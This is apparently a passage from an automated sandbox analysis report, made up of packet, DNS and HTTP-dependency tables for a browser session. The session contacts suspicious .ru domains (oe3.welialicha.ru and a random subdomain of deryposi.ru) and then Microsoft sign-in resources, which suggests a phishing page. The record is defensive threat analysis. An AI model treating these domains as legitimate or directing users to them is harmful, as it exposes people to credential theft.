Jan 7, 2025 15:18:46.464519978 CET	443	49777	152.199.21.175	192.168.2.16
Jan 7, 2025 15:18:46.464570045 CET	49777	443	192.168.2.16	152.199.21.175
Jan 7, 2025 15:18:46.551110983 CET	443	49777	152.199.21.175	192.168.2.16
Jan 7, 2025 15:18:46.551131964 CET	443	49777	152.199.21.175	192.168.2.16
Jan 7, 2025 15:18:46.551204920 CET	49777	443	192.168.2.16	152.199.21.175
Jan 7, 2025 15:18:46.551220894 CET	443	49777	152.199.21.175	192.168.2.16
Jan 7, 2025 15:18:46.551276922 CET	49777	443	192.168.2.16	152.199.21.175
Jan 7, 2025 15:18:46.551364899 CET	443	49777	152.199.21.175	192.168.2.16
Jan 7, 2025 15:18:46.551379919 CET	443	49777	152.199.21.175	192.168.2.16
Jan 7, 2025 15:18:46.551434040 CET	49777	443	192.168.2.16	152.199.21.175
Jan 7, 2025 15:18:46.551440954 CET	443	49777	152.199.21.175	192.168.2.16
Jan 7, 2025 15:18:46.551493883 CET	49777	443	192.168.2.16	152.199.21.175
Jan 7, 2025 15:18:46.553173065 CET	443	49777	152.199.21.175	192.168.2.16
Jan 7, 2025 15:18:46.553201914 CET	443	49777	152.199.21.175	192.168.2.16
Jan 7, 2025 15:18:46.553236008 CET	49777	443	192.168.2.16	152.199.21.175
Jan 7, 2025 15:18:46.553239107 CET	443	49777	152.199.21.175	192.168.2.16
Jan 7, 2025 15:18:46.553289890 CET	49777	443	192.168.2.16	152.199.21.175
Jan 7, 2025 15:18:46.553483009 CET	49777	443	192.168.2.16	152.199.21.175
Jan 7, 2025 15:18:46.553499937 CET	443	49777	152.199.21.175	192.168.2.16
Jan 7, 2025 15:19:27.794527054 CET	49798	443	192.168.2.16	142.250.185.68
Jan 7, 2025 15:19:27.794559956 CET	443	49798	142.250.185.68	192.168.2.16
Jan 7, 2025 15:19:27.794656992 CET	49798	443	192.168.2.16	142.250.185.68
Jan 7, 2025 15:19:27.794923067 CET	49798	443	192.168.2.16	142.250.185.68
Jan 7, 2025 15:19:27.794934034 CET	443	49798	142.250.185.68	192.168.2.16
Jan 7, 2025 15:19:28.430640936 CET	443	49798	142.250.185.68	192.168.2.16
Jan 7, 2025 15:19:28.431030989 CET	49798	443	192.168.2.16	142.250.185.68
Jan 7, 2025 15:19:28.431049109 CET	443	49798	142.250.185.68	192.168.2.16
Jan 7, 2025 15:19:28.431337118 CET	443	49798	142.250.185.68	192.168.2.16
Jan 7, 2025 15:19:28.431632996 CET	49798	443	192.168.2.16	142.250.185.68
Jan 7, 2025 15:19:28.431684971 CET	443	49798	142.250.185.68	192.168.2.16
Jan 7, 2025 15:19:28.480717897 CET	49798	443	192.168.2.16	142.250.185.68
Jan 7, 2025 15:19:29.017112970 CET	49799	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:19:29.021908045 CET	53	49799	1.1.1.1	192.168.2.16
Jan 7, 2025 15:19:29.021986961 CET	49799	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:19:29.022037029 CET	49799	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:19:29.022047043 CET	49799	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:19:29.026835918 CET	53	49799	1.1.1.1	192.168.2.16
Jan 7, 2025 15:19:29.026845932 CET	53	49799	1.1.1.1	192.168.2.16
Jan 7, 2025 15:19:29.550833941 CET	53	49799	1.1.1.1	192.168.2.16
Jan 7, 2025 15:19:29.551457882 CET	49799	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:19:29.556452036 CET	53	49799	1.1.1.1	192.168.2.16
Jan 7, 2025 15:19:29.556509972 CET	49799	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:19:38.347250938 CET	443	49798	142.250.185.68	192.168.2.16
Jan 7, 2025 15:19:38.347337961 CET	443	49798	142.250.185.68	192.168.2.16
Jan 7, 2025 15:19:38.347392082 CET	49798	443	192.168.2.16	142.250.185.68
Jan 7, 2025 15:19:39.092130899 CET	49798	443	192.168.2.16	142.250.185.68
Jan 7, 2025 15:19:39.092152119 CET	443	49798	142.250.185.68	192.168.2.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 15:18:22.878504038 CET	60881	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:22.878693104 CET	56793	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:22.889738083 CET	53	60082	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:22.893780947 CET	53	49703	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:22.975514889 CET	53	60881	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:22.979831934 CET	53	56793	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:23.867280960 CET	53	58398	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:24.503587008 CET	54270	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:24.503854990 CET	56695	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:24.504374981 CET	57839	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:24.504514933 CET	54963	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:24.505322933 CET	59564	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:24.505609035 CET	64525	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:24.510982990 CET	53	54270	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:24.511383057 CET	53	57839	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:24.511393070 CET	53	56695	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:24.511693001 CET	53	54963	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:24.512454987 CET	53	59564	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:24.512459993 CET	53	64525	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:25.225436926 CET	61458	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:25.225575924 CET	51396	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:25.232209921 CET	53	51396	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:25.233725071 CET	53	61458	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:25.299806118 CET	58109	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:25.299957037 CET	51041	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:25.306543112 CET	53	51041	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:25.306873083 CET	53	58109	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:25.814636946 CET	61576	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:25.814795971 CET	49575	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:25.821294069 CET	53	61576	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:25.821738958 CET	53	49575	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:25.829233885 CET	52817	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:25.829432964 CET	55295	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:25.836128950 CET	53	52817	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:25.837538958 CET	53	55295	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:27.731082916 CET	59848	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:27.731476068 CET	58624	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:27.737896919 CET	53	59848	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:27.738593102 CET	53	58624	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:28.995971918 CET	65529	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:28.998028994 CET	52460	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:29.002743006 CET	53	65529	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:29.004719973 CET	53	52460	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:34.972110033 CET	61113	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:34.972341061 CET	51933	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:35.078094959 CET	53	51933	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:35.108550072 CET	53	61113	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:36.635994911 CET	64540	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:36.636214972 CET	64761	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:36.642534971 CET	61963	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:36.642950058 CET	57980	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:36.694847107 CET	53	57980	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:36.815613985 CET	53	61963	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:37.707562923 CET	59602	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:37.707699060 CET	62895	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:37.715042114 CET	53	62895	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:39.937505960 CET	49630	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:39.937648058 CET	61674	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:39.945729017 CET	53	61674	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:40.833216906 CET	53	62138	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:41.047770023 CET	57878	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:41.048162937 CET	61847	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:41.054939032 CET	53	57878	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:41.055916071 CET	53	61847	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:45.000972033 CET	57064	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:45.001169920 CET	61870	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:18:45.007493019 CET	53	57064	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:45.007940054 CET	53	61870	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:47.397349119 CET	53	57999	1.1.1.1	192.168.2.16
Jan 7, 2025 15:18:59.620282888 CET	53	63501	1.1.1.1	192.168.2.16
Jan 7, 2025 15:19:01.790965080 CET	138	138	192.168.2.16	192.168.2.255
Jan 7, 2025 15:19:22.224280119 CET	53	61595	1.1.1.1	192.168.2.16
Jan 7, 2025 15:19:22.845025063 CET	53	61878	1.1.1.1	192.168.2.16
Jan 7, 2025 15:19:29.009624004 CET	49537	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:19:29.009833097 CET	52347	53	192.168.2.16	1.1.1.1
Jan 7, 2025 15:19:29.016670942 CET	53	49537	1.1.1.1	192.168.2.16
Jan 7, 2025 15:19:52.526077032 CET	53	56100	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 7, 2025 15:18:22.878504038 CET	192.168.2.16	1.1.1.1	0xb2ba	Standard query (0)	oe3.welialicha.ru	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:22.878693104 CET	192.168.2.16	1.1.1.1	0x6b59	Standard query (0)	oe3.welialicha.ru	65	IN (0x0001)	false
Jan 7, 2025 15:18:24.503587008 CET	192.168.2.16	1.1.1.1	0xde07	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:24.503854990 CET	192.168.2.16	1.1.1.1	0x2735	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 7, 2025 15:18:24.504374981 CET	192.168.2.16	1.1.1.1	0x162c	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:24.504514933 CET	192.168.2.16	1.1.1.1	0xdfe6	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 7, 2025 15:18:24.505322933 CET	192.168.2.16	1.1.1.1	0x4958	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:24.505609035 CET	192.168.2.16	1.1.1.1	0x2465	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 7, 2025 15:18:25.225436926 CET	192.168.2.16	1.1.1.1	0x4b93	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:25.225575924 CET	192.168.2.16	1.1.1.1	0x9f79	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 7, 2025 15:18:25.299806118 CET	192.168.2.16	1.1.1.1	0xec2e	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:25.299957037 CET	192.168.2.16	1.1.1.1	0x9077	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 7, 2025 15:18:25.814636946 CET	192.168.2.16	1.1.1.1	0x2776	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:25.814795971 CET	192.168.2.16	1.1.1.1	0x7cc8	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 7, 2025 15:18:25.829233885 CET	192.168.2.16	1.1.1.1	0xf019	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:25.829432964 CET	192.168.2.16	1.1.1.1	0x4172	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 7, 2025 15:18:27.731082916 CET	192.168.2.16	1.1.1.1	0xfd6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:27.731476068 CET	192.168.2.16	1.1.1.1	0x94d0	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 7, 2025 15:18:28.995971918 CET	192.168.2.16	1.1.1.1	0x87f6	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:28.998028994 CET	192.168.2.16	1.1.1.1	0x1087	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 7, 2025 15:18:34.972110033 CET	192.168.2.16	1.1.1.1	0x2bd3	Standard query (0)	ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ru	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:34.972341061 CET	192.168.2.16	1.1.1.1	0xebdc	Standard query (0)	ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ru	65	IN (0x0001)	false
Jan 7, 2025 15:18:36.635994911 CET	192.168.2.16	1.1.1.1	0xf224	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:36.636214972 CET	192.168.2.16	1.1.1.1	0x2768	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Jan 7, 2025 15:18:36.642534971 CET	192.168.2.16	1.1.1.1	0x3404	Standard query (0)	ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ru	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:36.642950058 CET	192.168.2.16	1.1.1.1	0x88e3	Standard query (0)	ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ru	65	IN (0x0001)	false
Jan 7, 2025 15:18:37.707562923 CET	192.168.2.16	1.1.1.1	0x6eab	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:37.707699060 CET	192.168.2.16	1.1.1.1	0xf525	Standard query (0)	www.office.com	65	IN (0x0001)	false
Jan 7, 2025 15:18:39.937505960 CET	192.168.2.16	1.1.1.1	0xb0f0	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:39.937648058 CET	192.168.2.16	1.1.1.1	0xd40c	Standard query (0)	www.office.com	65	IN (0x0001)	false
Jan 7, 2025 15:18:41.047770023 CET	192.168.2.16	1.1.1.1	0xe107	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:41.048162937 CET	192.168.2.16	1.1.1.1	0xc3c5	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 7, 2025 15:18:45.000972033 CET	192.168.2.16	1.1.1.1	0x5dcf	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:45.001169920 CET	192.168.2.16	1.1.1.1	0x8f34	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 7, 2025 15:19:29.009624004 CET	192.168.2.16	1.1.1.1	0x499d	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:19:29.009833097 CET	192.168.2.16	1.1.1.1	0x3b1b	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 7, 2025 15:18:22.975514889 CET	1.1.1.1	192.168.2.16	0xb2ba	No error (0)	oe3.welialicha.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:22.975514889 CET	1.1.1.1	192.168.2.16	0xb2ba	No error (0)	oe3.welialicha.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:22.979831934 CET	1.1.1.1	192.168.2.16	0x6b59	No error (0)	oe3.welialicha.ru			65	IN (0x0001)	false
Jan 7, 2025 15:18:24.510982990 CET	1.1.1.1	192.168.2.16	0xde07	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:24.510982990 CET	1.1.1.1	192.168.2.16	0xde07	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:24.510982990 CET	1.1.1.1	192.168.2.16	0xde07	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:24.510982990 CET	1.1.1.1	192.168.2.16	0xde07	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:24.511383057 CET	1.1.1.1	192.168.2.16	0x162c	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:24.511383057 CET	1.1.1.1	192.168.2.16	0x162c	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:24.511693001 CET	1.1.1.1	192.168.2.16	0xdfe6	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 7, 2025 15:18:24.512454987 CET	1.1.1.1	192.168.2.16	0x4958	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:24.512454987 CET	1.1.1.1	192.168.2.16	0x4958	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:24.512459993 CET	1.1.1.1	192.168.2.16	0x2465	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 7, 2025 15:18:25.232209921 CET	1.1.1.1	192.168.2.16	0x9f79	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 7, 2025 15:18:25.233725071 CET	1.1.1.1	192.168.2.16	0x4b93	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:25.233725071 CET	1.1.1.1	192.168.2.16	0x4b93	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:25.306873083 CET	1.1.1.1	192.168.2.16	0xec2e	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:25.306873083 CET	1.1.1.1	192.168.2.16	0xec2e	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:25.306873083 CET	1.1.1.1	192.168.2.16	0xec2e	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:25.306873083 CET	1.1.1.1	192.168.2.16	0xec2e	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:25.821294069 CET	1.1.1.1	192.168.2.16	0x2776	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:25.821294069 CET	1.1.1.1	192.168.2.16	0x2776	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:25.821738958 CET	1.1.1.1	192.168.2.16	0x7cc8	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 7, 2025 15:18:25.836128950 CET	1.1.1.1	192.168.2.16	0xf019	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:25.836128950 CET	1.1.1.1	192.168.2.16	0xf019	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:25.837538958 CET	1.1.1.1	192.168.2.16	0x4172	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 7, 2025 15:18:27.737896919 CET	1.1.1.1	192.168.2.16	0xfd6	No error (0)	www.google.com		142.250.185.68	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:27.738593102 CET	1.1.1.1	192.168.2.16	0x94d0	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 7, 2025 15:18:29.002743006 CET	1.1.1.1	192.168.2.16	0x87f6	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:35.078094959 CET	1.1.1.1	192.168.2.16	0xebdc	No error (0)	ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ru			65	IN (0x0001)	false
Jan 7, 2025 15:18:35.108550072 CET	1.1.1.1	192.168.2.16	0x2bd3	No error (0)	ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:35.108550072 CET	1.1.1.1	192.168.2.16	0x2bd3	No error (0)	ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:36.643105030 CET	1.1.1.1	192.168.2.16	0x2768	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:36.643126011 CET	1.1.1.1	192.168.2.16	0xf224	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:36.694847107 CET	1.1.1.1	192.168.2.16	0x88e3	No error (0)	ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ru			65	IN (0x0001)	false
Jan 7, 2025 15:18:36.815613985 CET	1.1.1.1	192.168.2.16	0x3404	No error (0)	ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:36.815613985 CET	1.1.1.1	192.168.2.16	0x3404	No error (0)	ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:37.714907885 CET	1.1.1.1	192.168.2.16	0x6eab	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:37.714907885 CET	1.1.1.1	192.168.2.16	0x6eab	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:37.715042114 CET	1.1.1.1	192.168.2.16	0xf525	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:37.715042114 CET	1.1.1.1	192.168.2.16	0xf525	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:38.964920044 CET	1.1.1.1	192.168.2.16	0x503	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:38.964920044 CET	1.1.1.1	192.168.2.16	0x503	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:39.919219971 CET	1.1.1.1	192.168.2.16	0xd7e9	No error (0)	shed.dual-low.s-part-0039.t-0009.t-msedge.net	s-part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:39.919219971 CET	1.1.1.1	192.168.2.16	0xd7e9	No error (0)	s-part-0039.t-0009.t-msedge.net		13.107.246.67	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:39.944574118 CET	1.1.1.1	192.168.2.16	0xb0f0	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:39.944574118 CET	1.1.1.1	192.168.2.16	0xb0f0	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:39.945729017 CET	1.1.1.1	192.168.2.16	0xd40c	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:39.945729017 CET	1.1.1.1	192.168.2.16	0xd40c	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:41.054939032 CET	1.1.1.1	192.168.2.16	0xe107	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:41.054939032 CET	1.1.1.1	192.168.2.16	0xe107	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:41.054939032 CET	1.1.1.1	192.168.2.16	0xe107	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:41.055916071 CET	1.1.1.1	192.168.2.16	0xc3c5	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:41.055916071 CET	1.1.1.1	192.168.2.16	0xc3c5	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:45.007493019 CET	1.1.1.1	192.168.2.16	0x5dcf	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:45.007493019 CET	1.1.1.1	192.168.2.16	0x5dcf	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:45.007493019 CET	1.1.1.1	192.168.2.16	0x5dcf	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 7, 2025 15:18:45.007940054 CET	1.1.1.1	192.168.2.16	0x8f34	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:18:45.007940054 CET	1.1.1.1	192.168.2.16	0x8f34	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:19:29.016932964 CET	1.1.1.1	192.168.2.16	0x3b1b	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 7, 2025 15:19:29.550833941 CET	1.1.1.1	192.168.2.16	0x407	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

oe3.welialicha.ru

https:

challenges.cloudflare.com

cdnjs.cloudflare.com

code.jquery.com

ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ru

aadcdn.msftauth.net

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49723	188.114.96.3	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
